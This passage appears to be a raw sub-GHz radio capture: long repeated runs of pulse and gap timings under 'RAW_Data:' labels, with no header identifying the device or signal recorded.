-1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -1396 1797 -3002 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3795 -3852 2121 -3066 3329 -3156 3167 -3174 3189 -3192 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1801 -3002 3393 -1402 1801 -2994 1799 -1402 3401 -1398 1795 -2996 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1795 -1396 3397 -1400 1801 -7618 -RAW_Data: 15035 -2418 3813 -2810 3403 -3002 3401 -3002 3401 -2996 3401 -3002 3393 -3002 3403 -3002 3393 -2994 3401 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -2996 1805 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -1402 1795 -2992 3401 -1402 1799 -3002 1801 -1402 3393 -1400 1801 -2994 1801 -1400 3403 -2994 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 3401 -3002 1795 -1394 3399 -4894 8261 -2584 3593 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -2996 3405 -3006 3393 -2994 3395 -3002 3401 -2994 3403 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -1400 1801 -2998 1805 -1396 3395 -1404 1795 -2992 3401 -3006 1805 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1396 1797 -1400 1801 -3002 1795 -1394 1797 -1402 3401 -3006 3397 -7586 1729 -3040 3443 -3022 3417 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3000 3405 -2994 3401 -2994 3403 -2998 3205 -3198 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1396 3395 -3006 3393 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 3401 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -1400 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 3401 -1400 1801 -3002 3803 -3690 8945 -2004 3805 -2802 3407 -3006 3401 -3002 3393 -3002 3395 -3002 3401 -2998 3211 -3198 3393 -2994 3395 -3002 3401 -3002 3393 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3008 1803 -1398 1791 -1394 1797 -1400 3401 -3004 3401 -1400 1801 -3002 3393 -1402 1801 -2994 1799 -1402 3401 -1398 1797 -1396 1797 -3002 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1396 3399 -1400 1801 -1400 1801 -8146 15111 -2438 3821 -2814 3409 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3407 -1404 1597 -1592 1793 -1398 1799 -1402 1799 -1402 1801 -2994 1801 -1400 1801 -1396 1797 -1400 3407 -3006 3393 -1398 1791 -3000 3401 -1400 1801 -2994 1801 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -3004 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1400 1795 -1394 1797 -3002 1801 -1400 3407 -3006 1595 -1592 1789 -1398 3603 -4270 1767 -2816 3481 -2910 3319 -3118 3293 -3244 3229 -3014 3409 -3006 3407 -3002 3407 -3004 3395 -2994 3401 -2994 3401 -2996 3401 -3002 3399 -1404 -RAW_Data: 1595 -1594 1797 -1400 1801 -1400 1797 -1398 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3006 3207 -1596 1791 -2992 3401 -1402 1801 -3002 1795 -1398 3401 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3401 -1402 1795 -1394 1797 -3002 1801 -1400 3407 -3004 1597 -1594 3393 -8044 8285 -2600 3601 -3004 3401 -2994 3401 -2994 3403 -3002 3407 -2996 3393 -3004 3393 -3002 3399 -3004 3395 -2994 3401 -3002 3399 -1404 1597 -1592 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1799 -1398 1797 -1396 1797 -1400 3407 -3006 3393 -1398 1791 -3000 3405 -1404 1597 -3190 1801 -1400 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1396 1791 -1400 1799 -3002 1801 -1400 3403 -3002 3393 -3002 4003 -3520 1767 -3000 3331 -3084 3243 -3026 3409 -3002 3407 -3010 3405 -2998 3397 -2996 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3403 -2994 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -2994 3407 -1404 1793 -2988 3403 -3002 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 -RAW_Data: 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -3004 1799 -1402 3393 -3002 3393 -1402 1801 -4796 787 -2262 1869 -2942 3419 -3010 3405 -3006 3393 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -3002 3399 -3010 3193 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -3000 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1400 1797 -1394 3397 -3002 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 3401 -1398 1791 -1398 1801 -3002 1799 -1402 3393 -1402 1799 -3004 1799 -1398 4199 -2960 2227 -2872 3355 -3174 3183 -3186 3389 -2994 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3395 -3002 1795 -1398 1801 -1400 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -3004 1799 -1398 3389 -1402 1799 -3002 3403 -7954 27839 -2554 3573 -2988 3389 -2994 3393 -3002 3395 -3002 3399 -3004 3395 -2994 3393 -3002 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1400 1801 -3002 3395 -1400 -RAW_Data: 1801 -2994 3401 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -3002 1801 -1400 3401 -1398 1797 -1400 1801 -3002 3393 -4822 15921 -1406 3809 -2610 3601 -3002 3403 -3002 3401 -3002 3401 -3004 3393 -2994 3407 -3004 3395 -2994 3407 -2996 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3399 -1404 1595 -3190 3403 -1400 1801 -3002 3393 -3006 1601 -1594 3389 -3002 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -1396 1791 -1398 1801 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -1402 1799 -6668 1963 -2566 3673 -2838 3421 -3014 3411 -3006 3393 -3002 3393 -3004 3401 -2994 3407 -2996 3395 -3002 3393 -3002 3395 -3002 3405 -2998 3399 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -3002 3393 -3002 1797 -1394 3397 -3002 3401 -3002 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3407 -1400 1791 -1394 1797 -3002 3401 -3002 1797 -1394 1795 -1402 1801 -1400 3803 -4242 1899 -2672 3763 -2746 3509 -2864 3439 -3026 3417 -3002 3401 -3008 3405 -3002 3393 -2994 3403 -3002 3405 -2998 3393 -2996 3401 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -1398 1797 -3002 3401 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 3401 -1398 1791 -1398 1801 -3002 3401 -3002 1795 -1394 1797 -1402 3401 -7512 21165 -2482 3841 -2832 3413 -3010 3401 -3002 3403 -3002 3401 -3002 3407 -2998 3393 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -3002 3395 -1400 1797 -2990 3401 -3004 1799 -1402 3401 -1398 1791 -1398 1799 -3004 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1795 -1398 3403 -1400 1801 -1400 1797 -2998 3395 -3002 1799 -1402 3401 -3002 3399 -3900 661 -442 1987 -2846 3333 -3156 3167 -3182 3185 -3192 3393 -3002 3393 -3004 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3401 -2996 3393 -3002 3401 -1402 1795 -1398 1795 -1398 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -2994 3401 -1402 1801 -2994 3407 -3004 3193 -3196 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 3407 -1400 1789 -1392 1797 -3002 3401 -3002 1801 -1402 3393 -1400 1801 -5854 1449 -3028 3481 -2910 3519 -2928 3493 -2856 3433 -3014 3415 -3010 3405 -2998 3397 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -1404 1595 -1588 1795 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1402 1799 -2994 3403 -1400 1801 -2994 3393 -3002 3403 -3002 1795 -1394 3397 -3002 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -1400 1801 -2994 3401 -2996 3401 -3002 1801 -1396 4197 -2116 2985 -3040 3495 -2924 3333 -3160 3173 -3184 3189 -3198 3189 -3196 3393 -3002 3393 -3002 3407 -2998 3393 -3002 3395 -3002 3401 -2994 3393 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1400 1801 -3002 3395 -1400 1801 -2994 3407 -2996 3395 -3002 3401 -2994 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3395 -1400 1801 -1400 1795 -2992 3401 -3006 -RAW_Data: 3207 -3194 3407 -3798 1471 -2756 1731 -2764 3451 -3026 3423 -3014 3401 -3002 3393 -3008 3401 -2998 3393 -3002 3403 -2994 3401 -2994 3395 -3002 3401 -3002 3393 -3002 3395 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3405 -2998 3393 -1398 1797 -3002 3393 -1400 1801 -3002 3395 -3002 3401 -2998 3209 -1602 1591 -3184 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 3401 -1400 1801 -1398 1791 -3000 3401 -3002 3401 -1398 1795 -3002 3603 -3528 2573 -2892 3567 -2982 3387 -2990 3393 -2994 3407 -3006 3393 -2994 3401 -2996 3393 -3002 3401 -3002 3403 -2994 3401 -2994 3399 -3006 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1795 -1394 3403 -3004 3401 -1398 1791 -3000 3401 -1402 1795 -3000 3401 -3006 3403 -1400 1791 -2992 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 